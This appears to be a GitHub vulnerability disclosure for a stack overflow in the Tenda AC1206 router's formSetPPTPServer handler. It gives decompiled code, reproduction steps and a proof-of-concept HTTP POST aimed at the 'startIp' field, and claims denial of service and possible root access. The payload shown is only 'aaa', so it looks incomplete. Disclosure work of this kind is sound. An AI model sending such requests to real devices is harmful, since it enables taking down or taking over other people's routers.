

main ▾ vuln / Tenda / AC1206 / 17 /



Darry-lang1 Add files via upload ...

on Aug 5 ⌚ History

..



img

4 months ago



readme.md

4 months ago



readme.md

Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability

Overview

- Manufacturer's website information: <https://www.tenda.com.cn>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2766.html>

Product Information

Tenda AC1206 V15.03.06.23, the latest version of simulation overview:



Vulnerability details

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the `formSetPPTPServer` function. An attacker can obtain a stable root shell through a carefully constructed payload.

```

25 errCode = CGI_OK;
26 *client_pptp_enable = 0;
27 *client_l2tp_enable = 0;
28 pptp_server_enable = websGetVar(wp, "serverEn", "1");
29 pptp_server_mppe = websGetVar(wp, "mppe", "1");
30 pptp_server_mppe_op = websGetVar(wp, "mppeOp", "128");
31 pptp_server_start_ip = websGetVar(wp, "startIp", byte_51EC74);
32 pptp_server_end_ip = websGetVar(wp, "endIp", byte_51EC74);
33 GetValue("wl2g.public.mode", wl24g_work_mode);
34 GetValue("wl5g.public.mode", wl5g_work_mode);
35 GetValue("vpn.cli.pptpEnable", client_pptp_enable);
36 GetValue("vpn.cli.l2tpEnable", client_l2tp_enable);
37 if ( !strcmp(wl24g_work_mode, "apclient") || !strcmp(wl5g_work_mode, "apclient") )
38 {
39     errCode = CGI_ERROR;
40 }
41 else
42 {
43     if ( !strcmp(pptp_server_enable, "0") )
44     {
45         SetValue("vpn.ser.pptpdEnable", pptp_server_enable);
46         if ( !strcmp(client_pptp_enable, "0") && !strcmp(client_l2tp_enable, "0") )
47             SetValue("inet_gro_disable", "0");
48     }
49     else
50     {
51         if ( strcmp(pptp_server_enable, "1") )
52         {
53             errCode = CGI_ERROR;
54             goto finish;
55         }
56         if ( !*pptp_server_start_ip || !*pptp_server_end_ip )
57         {
58             errCode = CGI_ERROR;
59             goto finish;
60         }
61         if ( sscanf(
62             pptp_server_start_ip,
63             "%[^.].%[^.].%[^.].%s",
64             pptp_server_start_each_ip,
65             pptp_server_start_each_ip[1],
66             pptp_server_start_each_ip[2],
67             pptp_server_start_each_ip[3]) != 4

```

In the `formSetPPTPServer` function, `pptp_server_start_ip` (the value of `startIp`) we entered is formatted using the `sscanf` function and in the form of `%[^.].%[^.].%[^.].%s`. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of `pptp_server_start_each_ip`, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept: */*

```

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 12
Origin: http://192.168.0.1
DNT: 1
Connection: close
Referer: http://192.168.0.1/index.html
Cookie: ecos_pw=eee:language=cn

startIp=aaa



By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

